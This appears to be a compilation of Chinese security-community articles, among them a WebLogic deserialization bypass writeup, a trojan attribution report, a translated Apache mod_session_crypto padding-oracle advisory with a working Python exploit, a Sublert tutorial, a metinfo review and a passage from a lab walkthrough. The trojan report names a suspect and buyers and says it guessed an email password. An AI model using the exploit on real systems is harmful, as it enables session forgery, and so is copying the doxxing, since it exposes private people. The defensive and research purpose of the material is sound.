要想绕过黑名单，则需要寻找一个不在黑名单的类。要知道，`ObjectInputStream`在执行`readObject`方法的时候，除了会调用反序列化类的readObject方法外，还会调用`readExternal`、`readResolve`，详细调用过程可以看<https://www.cnblogs.com/yyhuni/p/15127416.html>
所以`weblogic.jms.common.StreamMessageImpl`类就被挖掘了出来。其`StreamMessageImpl#readExternal`中，会调用var5的`readObject`方法，而var5是一个`ObjectInputStream`对象
## 四、漏洞分析
### 攻击机
这里使用weblogic_cmd构造的poc：<https://github.com/5up3rc/weblogic_cmd>
-H "192.168.202.129" -C "touch /tmp/success" -B -os linux
这里把CC1的利用链，进行了序列化后传入了`streamMessageImpl`方法
跟进`streamMessageImpl`方法，new了一个`StreamMessageImpl`对象，这个对象也就是构造payload的关键，然后把序列化转换后的byte数组传入了`setDataBuffer`方法
跟进`setDataBuffer`，对`this.buffer`和`this.length`进行了赋值操作
随后把获得的`StreamMessageImpl`对象又进行了一次序列化操作（序列话后的payload传入对象，再把对象进行了序列化）
`StreamMessageImpl`对象序列化会调用`writeExternal`方法
在`StreamMessageImpl`对象的`writeExternal`方法中进行了重写，把之前的payload给write进了`ObjectOutputStream`对象中
最后返回给了byte[] payload，然后进行了T3协议构造并且发送给了服务器
### 服务端
在服务端接受到payload，随后进行了反序列化操作，跳转到`InboundMsgAbbrev#resolveClass`方法中，进行黑名单判断
黑名单中并没有`StreamMessageImpl`这个类，返回false，走入else中
接下来就会到`StreamMessageImpl#readExternal`方法
switch中由前面构造payload时候写入，case为1
此时的var4就是CC1的承载了payload的`AnnotationInvocationHandler`序列化后的`BufferInputStream`
最后调用了var5.readObject就触发了`AnnotationInvocationHandler#readObject`方法了
### 总结
在这里用了`StreamMessageImpl`类来绕过黑名单检查，把`AnnotationInvocationHandler`序列化后通过重写的`writeExternal`方法给write进了`ObjectOutputStream`对象中，调用`StreamMessageImpl`类的`readExternal`传入了参数并执行了参数的readObject方法从而触发了调用链
参考：<https://xz.aliyun.com/t/8443> | 社区文章 |
# 一个支付宝木马的分析溯源之旅
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
引子
人在做,天在看。
与网络的黑暗面斗争中,我们看到太多的年轻人陷入黑产的陷井,少数人暴发横财及时收手还能全身而退,多数人身处产业链的底端所得不多却受牢狱之灾。年轻人是国家的未来,他们敢想敢干而又无知鲁莽,希望他们不要为一时的无知付出太大的代价,今天的这个文章可以算作一个警醒,千金不换回头路。
网络从来就是一把双刃剑,越来越便捷的知识传播让广大的网络黑产工作者们只需简单修改别人的代码就可以制作出所谓的原创木马病毒,并进一步出售进行获利。近期,360天眼实验室拦截到一类盗取用户支付宝余额的木马,追根溯源揪出了木马制造者及一批木马放马者,而背后的造马者竟是一个高三学生,我们想说考不考得上大学还在其次,这位同学现在最应该读一下网络犯罪相关法条立即收手以免终身受此所累。
样本分析
为了对抗查杀,使用易语言做木马开发极其常见,我们所看到的这个样本即是如此,相关的信息如下,供大家参考。
木马文件MD5: 1976f6cbbc32fcbd7eaa75318642a182
尽管分析起来有点麻烦,但搞清楚木马行为只是时间问题,主要包括:
n代码加入花指令,对抗分析调试
n过期自动失效(失效后想再次使用木马就要向木马作者缴费再次购买)
n访问腾讯微博、新浪微博链接地址获取支付宝交易的钱数、次数、频率
n开线程监控用户的支付宝转账操作,同时将转账地址替换成放马者指定的支付宝账户
加入花指令,对抗分析调试
部分花指令如下:
判断木马是否过期
过期时间是2016年1月14日,如图:
访问微博链接获取交易欺诈参数
访问http://t.qq.com/q912***937微博地址,匹配出木马所需的信息,微博内容为:
解密出微博地址:
访问腾讯微博地址,得到微博内容:
从微博页面中匹配“支付宝读取头部”和“支付宝读取尾部”,匹配出木马预留信息:
获取到页面数据后,通过作者预先写好的开始标记和结束标记读取到用到的数据:
从微博读取到的支付宝所需数据格式为"13267932191|1100|80|1100",其中的13267932191表示支付宝账号,1100表示快捷金额,80表示触发金额,1100
是最大限额。当然,如果腾讯微博格式发布信息格式不正确,木马还会弹窗报错,提示发布正确格式的微博内容。
对于木马转账的支付宝账号:13267932191,推测应该是一个手机号,从搜索引擎搜索结果得知,手机归属地是广州惠州的,如图:
账号替换
木马程序打开后起线程不停查找浏览器的窗口,直到浏览器的地址栏包含alipay字符后,木马开始对支付过程进行劫持:
调用易语言的类库,获取当前的URL地址,用于判断用户是否正在进行支付操作。
如果用户正在进行支付操作,就查找https://personalweb.alipay.com/portal/newhome.htm网址中的<span标签和<input
type="hidden" id="J-mfund-balance" value=标签分别得到用户的账户余额和余额宝的余额。
在后台进行封包劫持:
木马通过注入浏览器,后台Post提交参数的方式,用户从浏览器中看不出有任何的异常,而只有在支付之后的交易记录中,才有可能发现收款人已被替换。而一切都以为时晚矣。
推手追索
通过搜索引擎搜索“支付宝读取头部”关键字,我们找到了一批有问题的腾讯微博账号,这些账号大多都是直接从木马作者手中购买木马的“放马者”:
然后,我们就从这批放马者的账号中发现一个亮瞎眼的账号内容
[http://t.qq.com/hy617***31](http://t.qq.com/hy61784231)
至于亮瞎眼的原因见下图,由此,我们定位到了可疑造马者,QQ号为:5500***39和617***31 :
下面我就将按照”造马者”与“放马者”两条线索分别展开。
造马者追踪
通过对造马者的发微博时的实时位置,定位到造马者经常在四川省南充市活动,如图:
另外,通过对上面两个QQ号公开的信息比较,也确定这两个QQ号都是造马者的QQ号,其中5500***39的QQ号为造马者的小号。
而617***31为造马者联系木马业务的常用号码:
从搜索引擎也得知,造马者曾被人举报,称造马者盗源码写软件:
造马者为了销售木马,还专门成立了一个QQ群,推测群里应该有好多放马者,当然根据群位置信息,也可以进一步确定造马者所在的地理位置正是南充,与前面关于造马者地理的推断一致。
通过对造马者QQ持续的关注,基本可以断定造马者是高中生。
2015年12月份,造马者QQ的修改签名为“秒余额,快捷,余额宝免杀马代秒鱼。回5。需要的私聊大量收家庭肉鸡,有的窗口。”,如下图
而2016年2月29日,QQ个性签名更改为“3月份停工,高考后复出,学习新技能”,可以推断出造马者是高中生:
与此同时,我们还在造马者的腾讯微博中看到造马者对木马书写的“产品说明书”(支持Windows所有版本)、“广告语”(高度人性化,可操作性强,稳定性强)、价格(支付宝收款700/月,银行卡收款1000/月)等,见下图:
查询QQ群关系数据库,得到造马人的另外一个常用的QQ号码:963****39:
通过网上搜索QQ963****39,发现造马者经常关注一些网络上的黑客教程,并且曾经从易语言论坛下载过支付宝支付账单源代码,如图:
把易语言论坛上的这份“支付宝支付账单的源代码”下载后得知,代码的作用是查询支付宝交易记录,造马者在造马的过程中参考过这份源码。如图:
通过搜索引擎查询造马者QQ号关键字找到了这个人的优酷账号,其上传的视频中表明造马者的另一个身份:dnf玩家。
同时搜索引擎告诉我们的还包括造马者的淘宝账号:a963****39
在此,我们推测这人的邮箱地址可能为:[a96*****[email protected]](mailto:[email protected])
通过163找回密码,发现账号绑定的手机号码的后三位与淘宝账号中的手机的后三位是相同的,这就断定[a96*****[email protected]](mailto:[email protected])邮箱是属于造马者的,如图:
通过尝试,找到了造马者的163邮箱密码:96*****39
在邮箱中的已发送邮件中,大量的cf木马发送的邮件,邮件内容里面都是木马盗取的cf账号和密码等游戏信息。
此外,观察到邮箱中有作者的MAC地址:00-50-56-c0-00-01,应该是造马者在测试程序时发送的,如图:
总结:造马者经常活动于南充,可能的身份为:在校高中学生。机器mac地址可能为:
00-50-56-c0-00-01,作者不仅编写支付宝木马,还曾经盗取过cf游戏账号,常用邮箱为:a96*****[email protected],常用密码为:[a96*****39](mailto:[email protected]),常用的三个QQ号为617***31,5500***39,和963****39,其中617***31号多用来卖支付宝木马;963****39号多用来盗取游戏账号;5500***39为小号,不常使用。淘宝账号为:a963*****39,手机号为:136****5205
放马者分析
购买木马的人数众多,根据360威胁情报中心的数据,木马买家超过40人。我们随意抽取一个购买木马的用户进行探讨。
以下都是通过搜索引擎得到的放马者的微博地址:
[http://t.qq.com/g29q200w4231975](http://t.qq.com/g29q200w4231975)
http://t.qq.com/r12tb9753197
[http://t.qq.com/oclt519753](http://t.qq.com/oclt519753)
[http://t.qq.com/k93y642086](http://t.qq.com/k93y642086)
[http://t.qq.com/chenjiaxi88](http://t.qq.com/chenjiaxi88)
对于其中一个放马者,通过微博发现@chenjiaxi88的用户的名字为陈佳西,腾讯微博中有其上传的生活照,如下:
最后,用这位放马者的QQ群关系来结束这次的追踪之旅:
总结
我们看到的木马本身的技术并不复杂,传播手段也不见得高明,低技术门槛使网络犯罪的参与者呈现年轻化的分布。本次的攻击者溯源完全依赖公开可搜索的数据,甚至无需运用社工技巧,木马开发与使用者的无知无畏实在让人心惊。从造马者自发暴露的大量信息来看,他似乎并不觉得自己在违法犯罪,我们的中学教育在法律学习方面应该加入网络犯罪的内容。 | 社区文章 |
# 【漏洞分析】Apache mod_session_crypto模块中的Padding Oracle漏洞分析（含PoC）
|
##### 译文声明
本文是翻译文章，文章来源：seclists.org
原文地址：<http://seclists.org/fulldisclosure/2016/Dec/74>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**
**
****
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：120RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
近日，安全研究人员在Web服务器Apache的mod_session_crypto模块中发现了一个Padding
Oracle漏洞。攻击者可以利用这个漏洞来解密会话数据，甚至可以用来对指定的数据进行加密。
**漏洞细节**
**产品：** Apache HTTP Server mod_session_crypto
**受影响的版本：** 2.3到2.5
**已经修复的版本：** 2.4.25
**漏洞类型：** Padding Oracle
**安全风险：** 高
**供应商网址：**<https://httpd.apache.org/docs/trunk/mod/mod_session_crypto.html>
**供应商状态：** 已经发布修复版
**公告网址：**<https://www.redteam-pentesting.de/advisories/rt-sa-2016-001.txt>
**公告状态：** 已发布
**CVE：** CVE-2016-0736
**CVE网址：**<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0736>
**引言**
人们可以联合使用Apache
HTTP服务器的mod_session_crypto模块、mod_session模块和mod_session_cookie模块，将会话数据存储到用户浏览器中的加密Cookie中。这样可以避免使用服务器端会话状态，从而便于将传入的HTTP请求分配到多个不需要共享会话状态的应用程序Web服务器上面。
**更多细节**
模块mod_session_crypto使用对称加密技术来加密和解密会话数据，并使用mod_session将加密后的数据存储到用户浏览器的Cookie（通常称为“会话”）中。之后，可以将解密的会话用于应用程序的环境变量或自定义的HTTP请求头部中。应用程序可以添加自定义的HTTP响应头部（通常是“X-Replace-Session”），通知HTTP服务器使用该头部的值替换该会话的内容。设置mod_session和mod_session_crypto的具体方法请参考下列文档：
<https://httpd.apache.org/docs/2.4/mod/mod_session.html#basicexamples>
模块mod_session_crypto被配置为使用3DES或AES加密算法（密钥大小视具体情况而定），默认为AES256。具体的加密工作是由函数“encrypt_string”完成的：
modules/session/mod_session_crypto.c
/**
* Encrypt the string given as per the current config.
*
* Returns APR_SUCCESS if successful.
*/
static apr_status_t encrypt_string(request_rec * r, const apr_crypto_t *f,
session_crypto_dir_conf *dconf, const char *in, char **out)
{
[...]
apr_crypto_key_t *key = NULL;
[...]
const unsigned char *iv = NULL;
[...]
/* use a uuid as a salt value, and prepend it to our result */
apr_uuid_get(&salt);
[...]
res = apr_crypto_passphrase(&key, &ivSize, passphrase,
strlen(passphrase),
(unsigned char *) (&salt), sizeof(apr_uuid_t),
*cipher, APR_MODE_CBC, 1, 4096, f, r->pool);
[...]
res = apr_crypto_block_encrypt_init(&block, &iv, key, &blockSize, r->pool);
[...]
res = apr_crypto_block_encrypt(&encrypt, &encryptlen, (unsigned char *)in,
strlen(in), block);
[...]
res = apr_crypto_block_encrypt_finish(encrypt + encryptlen, &tlen, block);
[...]
/* prepend the salt and the iv to the result */
combined = apr_palloc(r->pool, ivSize + encryptlen + sizeof(apr_uuid_t));
memcpy(combined, &salt, sizeof(apr_uuid_t));
memcpy(combined + sizeof(apr_uuid_t), iv, ivSize);
memcpy(combined + sizeof(apr_uuid_t) + ivSize, encrypt, encryptlen);
/* base64 encode the result */
base64 = apr_palloc(r->pool, apr_base64_encode_len(ivSize + encryptlen +
sizeof(apr_uuid_t) + 1)
* sizeof(char));
[...]
return res;
}
源代码显示加密密钥是根据配置的密码和随机选择的salt通过调用函数“apr_crypto_passphrase”生成的。这个函数在内部使用PBKDF2来生成钥匙。然后，对数据进行加密，并将salt和IV放到加密后的数据前面。在返回之前，该函数会对加密数据进行base64编码处理。
由于这个过程无法保证密文的完整性，所以Apache模块无法检测会话送回服务器之前是否已经被篡改了。这常常意味着攻击者能够利用Padding
Oracle漏洞发动攻击，即对会话进行解密并加密指定的任意数据。
**概念验证代码（POC）**
下面我们来复现这个安全漏洞。首先，启用模块mod_session、mod_session_crypto和mod_session_cookie，并进行如下所示的配置：
Session On
SessionEnv On
SessionCookieName session path=/
SessionHeader X-Replace-Session
SessionCryptoPassphrase RedTeam
此外，为文件夹编写一个如下所示的CGI脚本，然后将该CGI脚本保存为“status.rb”，供客户端使用：
#!/usr/bin/env ruby
require 'cgi'
cgi = CGI.new
data = CGI.parse(ENV['HTTP_SESSION'])
if data.has_key? 'username'
puts
puts "your username is %s" % data['username']
exit
end
puts "X-Replace-Session: username=guest×tamp=" + Time.now.strftime("%s")
puts
puts "not logged in"
搞定这个CGI脚本后，我们就可以在命令行HTTP客户端中通过curl来访问它了：
$ curl -i http://127.0.0.1:8080/cgi-bin/status.rb
HTTP/1.1 200 OK
Date: Tue, 19 Jan 2016 13:23:19 GMT
Server: Apache/2.4.10 (Ubuntu)
Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ
l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/
Cache-Control: no-cache
Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ
l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/
Transfer-Encoding: chunked
Content-Type: application/x-ruby
not logged in
该示例表明，返回了一个新的、名为“session”的加密cookie，并且响应正文中包含文本“not logged in”。
使用刚才返回的cookie再次调用上面的脚本，可以看到会话中的用户名为“guest”：
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp
LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=
http://127.0.0.1:8080/cgi-bin/status.rb
your username is guest
现在修改这个cookie，让它以“u =”结尾，而非"U
="，然后发送修改后的cookie，由于尾部的填充物会导致该cookie失效，所以该会话就无法正确解密，也就无法传递给该CGI脚本了，所以，将再次返回文本“not
logged in”：
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp
LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRu=
http://127.0.0.1:8080/cgi-bin/status.rb
not logged in
这证明确实存在Padding Oracle漏洞。这样的话，我们就可以在Python库[1] python-paddingoracle的帮助下，通过利用这个Padding Oracle漏洞来解密会话。
exploit.py
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
import requests
class PadBuster(PaddingOracle):
def __init__(self, valid_cookie, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.wait = kwargs.get('wait', 2.0)
self.valid_cookie = valid_cookie
def oracle(self, data, **kwargs):
v = b64encode(self.valid_cookie+data)
response = requests.get('http://127.0.0.1:8080/cgi-bin/status.rb',
cookies=dict(session=v), stream=False, timeout=5, verify=False)
if 'username' in response.content:
logging.debug('No padding exception raised on %r', v)
return
raise BadPaddingException
if __name__ == '__main__':
import logging
import sys
if not sys.argv[2:]:
print 'Usage: [encrypt|decrypt] <session value> <plaintext>'
sys.exit(1)
logging.basicConfig(level=logging.WARN)
mode = sys.argv[1]
session = b64decode(sys.argv[2])
padbuster = PadBuster(session)
if mode == "decrypt":
cookie = padbuster.decrypt(session[32:], block_size=16, iv=session[16:32])
print('Decrypted session:n%r' % cookie)
elif mode == "encrypt":
key = session[0:16]
plaintext = sys.argv[3]
s = padbuster.encrypt(plaintext, block_size=16)
data = b64encode(key+s[0:len(s)-16])
print('Encrypted session:n%s' % data)
else:
print "invalid mode"
sys.exit(1)
然后，我们就可以通过此Python脚本来解密会话了：
$ time python exploit.py decrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4
Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=
Decrypted session:
b'username=guest×tamp=1453282205rrrrrrrrrrrrr'
real 6m43.088s
user 0m15.464s
sys 0m0.976s
在这个示例应用程序中，会话数据包括用户名和时间戳。该Python脚本也可以用来对包含用户名"admin"的新会话进行加密：
$ time python exploit.py encrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4
Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYB
RU= username=admin
Encrypted session:
sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7zmQ/GLFjF4pcXY
real3m38.002s
users0m8.536s
sys0m0.512s
如果将这个新加密的会话发送到服务器，这次显示用户名就会变成“admin”：
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7
zmQ/GLFjF4pcXY http://127.0.0.1:8080/cgi-bin/status.rb
your username is admin
**解决方法**
使用其他方式来存储会话，例如使用mod_session_dbd保存到数据库中。
**修复漏洞**
更新到Apache
HTTP版本2.4.25（参见[参考文献[2]](http://httpd.apache.org/security/vulnerabilities_24.html)）。
**安全风险**
使用mod_session_crypto模块的应用程序通常会把敏感的数据保存在在会话中，其安全性主要依赖于攻击者无法解密或修改该会话。如果存在Padding
Oracle漏洞，那么攻击者能够利用它来破坏这种机制，并能够构造会话，放入攻击者指定的任意内容。根据应用程序本身的情况，有可能给它的安全性带来致命的打击。所以，这个一个高危漏洞。
**参考文献**
[1] <https://github.com/mwielgoszewski/python-paddingoracle>
[2] <http://httpd.apache.org/security/vulnerabilities_24.html> | 社区文章 |
文章来源：<https://medium.com/yassineaboukir/automated-monitoring-of-subdomains-for-fun-and-profit-release-of-sublert-634cfc5d7708>
* * *
### 前言
目前，Bug
Bounty（漏洞众测）产业飞速发展，每天都有新项目不断地被推出，同时白帽子之间的竞争也愈发激烈。这是一场角逐金钱的竞争，白帽们争先恐后的想成为提交有效报告的第一人，因为奖励只有一次
。因此，获取优势是必不可少的，这样你才可能占得先机。不断地学习拓宽你的技能是一个好方法，但是改进你的测试技巧也很重要，比如说提高信息收集的效率，这会帮助你挖掘更多漏洞。
关于这一点，我写了一个安全侦察的小工具。这个工具可以帮助我自动化监控某个组织的子域名，在目标发生一些变化时，该工具将给我发送提示（邮件）。
我在[NullCon 2019](http://nullcon.net/)的[OWASP
Seasides](http://owaspseasides.com/)活动期间分享了这个工具。
### Sublert简介
> Certificate Transparency（证书透明度
> ，简称:CT）是一个新的互联网标准，使得TLS/SSL证书颁发过程公开透明。这个标准使域名所有者了解到网站的TLS/SSL证书是由公共certificate
> authorities（证书颁发机构，简称:CA）签发的。
[Sublert](https://github.com/yassineaboukir/sublert)是一个安全侦察工具，这个工具利用了证书透明原则，利用目标组织的TLS/SSL证书从而监控部署的新子域。该工具应该在固定间隔时间下（最好为隔天）周期化运行。每次获取的新子域将会被发送至Slack的工作区，并且会推送提醒。此外，该工具还会通过DNS解析来鉴别子域能否工作。
Sublert主要通过加强侦察工作来帮助白帽子获取更广阔的攻击面，并且通过抢先一步发现新子域从而打破竞争平衡。除此之外，Sublert也能用于内部AppSec项目，帮助工程师团队即时监控各个子域的部署状况。
#### 类似的工具
网上已有一些类似的开源工具，如[Cert
Spotter](http://certspotter.com/)和[Facebook监控工具](https://developers.facebook.com/tools/ct/)，但是这些工具主要用于监控那些虚假证书或者错误颁发证书的域名，从而预警钓鱼网站带来风险。因此，如果你的目标资产范围庞大，那么你可能会被成千上万个垃圾邮件包围，这些邮件由网络钓鱼域名和无关域名组成。
### Sublert配置
**条件：**
* 一个Unix系统的VPS
* Python 2.x或3.x
* Slack 工作区（免费）
#### 安装教程
首先，从Github克隆该工具至你的web服务器（VPS）：
$ git clone https://github.com/yassineaboukir/sublert.git && cd sublert
安装两个所需模块：
1. Python 2:
$ sudo pip install -r requirements.txt
2. Python 3:
$ sudo pip3 install -r requirements.txt
下一步使建立Slack工作区，这用于接收新子域。你只需访问<https://slack.com/，然后创建一个免费账户。>
创建两个频道：一个用于子域名，一个用于记录错误日志
然后，我们需要给这两个频道生成Webhook URLs以便利用Slack API
访问<https://api.slack.com/apps，然后创建一个新应用。>
点击 **Incoming Webhooks** ，建立两个Webhook，分别与前面创建的两个频道相连。
将每个webhook与相应的Slack频道链接。
然后获得两条类似下面格式的链接：
https://hooks.slack.com/services/XXXXXXX/BF0XXXXME/XXXXXXXXXXXXX
将这个两个webhook的链接复制到 **config.py**
OK，安装程序完毕！
### 使用
添加监控的域名则是最有趣的部分。万事俱备，只欠东风，让我们用PayPal来实验一下吧：
$ python sublert.py -u paypal.com
你也可以使用其他域名作为监控目标。下一步是配置 **Cron** ，它用于设置Sublert运行的时间间隔。
首先赋予Sublert.py执行权限：
$ chmod u+x sublert.py
然后添加一个新的 **Cron** 来安排Sublert周期化运行。
$ crontab -e
在最后一行添加
0 */12 * * * cd /root/sublert/ && /usr/bin/python /root/sublert/sublert.py -r -l >> /var/log/sublert.log 2>&1
把 **/root/sublert/** 改为你存放Sublert的目录。
如果你使用的是python3，请把 **/usr/bin/python** 改为 **/usr/bin/python3** 。下面我将稍微解释上述代码。
* `0 */12 * * *`→ 命令cron每12个小时运行一次Sublert。如果你想个性化设置为你想要的时间间隔，请参阅<https://crontab.guru/> 。
* `-r` →要求Sublert 执行解析DNS。这是一个可选项（推荐开启）。
* `-l` →要求Sublert记录错误，然后会发送至Slack频道。这也是个可选项（推荐开启）。
* `/var/log/sublert.log 2>&1` →命令cron存储Sublert的输出至/var/log/sub.log，方便解决你对这个工具如何运行的一些疑惑。
你还可以通过以下命令来确定（该工具的）配置正确和运行正常。此时你应该会收到一则Slack的邮件。
$ python sublert.py -l -r
Sublert每12个小时运行一次，如果发现了新子域，你在Slack上将收到以下信息：
如果Sublert被执行了却没有发现新内容，将会有以下推送：
我推荐你在手机上安装一个Slack并且关闭 **Do Not Disturb** 模式，然后你就能随时随地获取更新。
#### 常用的参数
添加雅虎到监控列表中：
python sublert.py -u yahoo.com
从列表中删除雅虎：
$ python sublert.py -d yahoo.com
显示当前正在监控的所有域名：
$ python sublert.py -a
设置线程数（默认：20）。如果需要，你还得将这些参数添加到cron中。
$ python sublert.py -t 30
开启Sublert执行DNS解析操作：
$ python sublert.py -r
开启Slack上的错误记录功能:
$ python sublert.py -l
重置Sublert：此操作将清空监控列表并移除所有储存的本地文件！
$ python sublert.py -m
请勿监控未授权的Bug Bounty项目，避免违反项目的安全政策。
### 缺陷
Sublert利用了证书透明政策，因此它只能监控使用SSL/TLS证书的子域。你无法使用该工具监控使用HTTP/80端口的子域，但你可以使用其他的一些开源工具，如Massdns,
Aquatone, Sublist3r等。
### 项目发展
这个工具目前已经开源，在安全社区受到了广泛的好评。我已经构思出一些新条目来打磨这个工具：
* 使用关系数据库替代文本储存。
* 尽可能提取更多的信息：标题，状态码，截图以及潜在的子域名接管。
* 集成到Telegram中，用于推送通知。
Giuthub项目：<https://github.com/yassineaboukir/sublert/>
如有任何问题请到这里反馈(<https://github.com/yassineaboukir/sublert/issues)。> | 社区文章 |
metinfo这个cms很有趣，我觉得可以玩的点也有很多，分享给大家来看
这里主要分析metinfo5.3，首先解压看文件结构
首先要梳理这个cms的结构，先要打开index.php去看入口文件的结构
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
$url=$_SERVER['PHP_SELF'];
$turnurl=dirname('http://'.$_SERVER['HTTP_HOST'].$_SERVER["REQUEST_URI"]);
$resstr=strstr($url,'index.php/');
if($resstr){
$turnurl=str_replace('index.php','404.html',$turnurl);
header("location:".$turnurl);
}
if(!file_exists('./config/install.lock')){
if(file_exists('./install/index.php')){
header("location:./install/index.php");exit;
}
else{
header("Content-type: text/html;charset=utf-8");
echo "安装文件不存在，请上传安装文件。如已安装过，请新建config/install.lock文件。";
die();
}
}
if(file_exists('./update')&&!file_exists('./update/install.lock')){
header("location:./update/index.php");exit;
}
$index="index";
require_once 'include/common.inc.php';
require_once 'include/head.php';
$index=array();
$index[index]='index';
$index[content]=$met_index_content;
$index[lang]=$lang;
$index[news_no]=$index_news_no;
$index[product_no]=$index_product_no;
$index[download_no]=$index_download_no;
$index[img_no]=$index_img_no;
$index[job_no]=$index_job_no;
$index[link_ok]=$index_link_ok;
$index[link_img]=$index_link_img;
$index[link_text]=$index_link_text;
$show['description']=$met_description;
$show['keywords']=$met_keywords;
require_once 'public/php/methtml.inc.php';
if($met_indexskin=="" or (!file_exists("templates/".$met_skin_user."/".$met_indexskin.".".$dataoptimize_html)))$met_indexskin='index';
if($map&&$met_mobileok&&is_numeric($uid)) {
if($wap_skin_user != 'wap001' && $wap_skin_user != 'mobile_001' && $wap_skin_user != 'mobile_002' && $wap_skin_user != 'mobile_003' && $wap_skin_user != 'mobile_004' && $wap_skin_user != 'mobile_005' && $wap_skin_user != 'mobile_006') {
$met_indexskin = 'map';
}
}
include template($met_indexskin);
footer();
1-20行判断cms是否是安装状态，后面是初始化各个各个变量
其中注意25行的
require_once 'include/common.inc.php';
我们打开这个文件common.inc.php
注意36到42行这个代码
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}
如果玩代码审计比较多人应该知道这里有个任意变量覆盖的风险，具体例子可以参考我的一个漏洞分析：<http://blog.csdn.net/niexinming/article/details/53153629>
可以通过一个简单的小栗子来演示这段代码
<?php
$a="a";
$b;
global $c;
$c="555";
require_once 'include/common.inc.php';
global $e;
$d;
var_dump($a);
echo "</br>";
var_dump($b);
echo "</br>";
var_dump($c);
echo "</br>";
var_dump($d);
echo "</br>";
var_dump($e);
可以看到在`require_once
'include/common.inc.php';`这段代码上面的变量都被覆盖了无论是否被初始化都被传递进来的参数给覆盖掉了，这段代码下面的变量只要没有被赋值就会被传递进来的参数污染了，所以这就很考验码农对于这个架构的把控能力了，如果稍有不慎就会造成安全问题
举个不是安全的问题的例子供大家玩耍一下
大家可以看的index.php中有这样的一段代码
$index="index";
require_once 'include/common.inc.php';
require_once 'include/head.php';
$index=array();
可以给index.php传递index=2333，看一下效果
可以看的代码逻辑被改变了，造成了页面的混乱，而metinfo5.3里面引用到这个代码`require_once
'include/common.inc.php';`的地方有很多
所以可以玩的点有很多，比如可以找到一些任意文件删除的地方，删除一些关键文件来使得一些变量变成未初始化的变量，从而控制整个代码流程
现在metifo最新版的是6.0,他们已经意识到这样的问题，所以对框架做了许多改善，逐渐减少了通过`require_once
'include/common.inc.php';`引入参数的做法，使得metifo6.0的安全性更强了一些 | 社区文章 |
本文转自我的Freebuf：<https://www.freebuf.com/articles/network/264560.html>
我的博客：<https://whoamianony.top/>
@[toc]
## 前言
假期马上结束了，闲暇之时我自己尝试着搭建了一个内网渗透的靶场。靶场是根据比较新的漏洞进行搭建的，质量自以为还可以。
目前此靶场已在vulnstack开源，下载链接：<http://vulnstack.qiyuanxuetang.net/vuln/detail/9/>
> 文中若有不当之处还请各位大佬多多点评
>
> 我的博客：<https://whoamianony.top/>
整个靶场的网络环境分为三层。从最初的信息收集、外网初探、攻入内网、搭建代理，横向移动，最终拿下域控。整个靶场所涉及的技术点大致如下：
* **信息收集：**
* 端口扫描
* 端口服务识别
**漏洞利用：**
* 漏洞搜索与利用
* Laravel Debug mode RCE（CVE-2021-3129）漏洞利用
* Docker逃逸
* 通达OA v11.3 漏洞利用
* Linux环境变量提权
* Redis 未授权访问漏洞
* Linux sudo权限提升（CVE-2021-3156）漏洞利用
* SSH密钥利用
* Windows NetLogon 域内权限提升（CVE-2020-1472）漏洞利用
* MS14-068漏洞利用
**构建隧道：**
* 路由转发与代理
* 二层网络代理
* 三层网络代理
**横向移动：**
* 内网（域内）信息收集
* MS17-010
* Windows系统NTLM与用户凭据获取
* SMB Relay攻击
* Psexec远控利用
* 哈希传递攻击（PTH）
* WMI利用
* DCOM利用
**权限维持：**
* 黄金票据
* 白银票据
* Sid History
整个网络环境的拓扑图大致如下：
第二层网络中的所有主机皆可以上网，但是位于第三层网络中的所有主机都不与外网相连通，不能上网。
## 外网渗透
假设渗透的目标客户只给出了一个域名：www.whopen.com，下面我们要在黑盒的情况下对目标网络进行渗透，最终需要拿下域控制器权限。
直接访问该域名，发现是一个博客的站点：
随便翻翻除了文章写得还不错以外没有发现什么，emmmm......
### 信息收集
首先得到目标网站的IP为192.168.1.8，然后直接对目标IP进行端口扫描：
nmap -T4 -sC -sV 192.168.1.8
如上图，目标除了80端口外还开启了22、81和6379端口。查看81端口：
发现是个Laravel的站点，Laravel是一套简洁、开源的PHP Web开发框架，旨在实现Web软件的MVC架构。
>
> 而在2021年01月12日，Laravel被披露存在一个远程代码执行漏洞（CVE-2021-3129）。当Laravel开启了Debug模式时，由于Laravel自带的Ignition
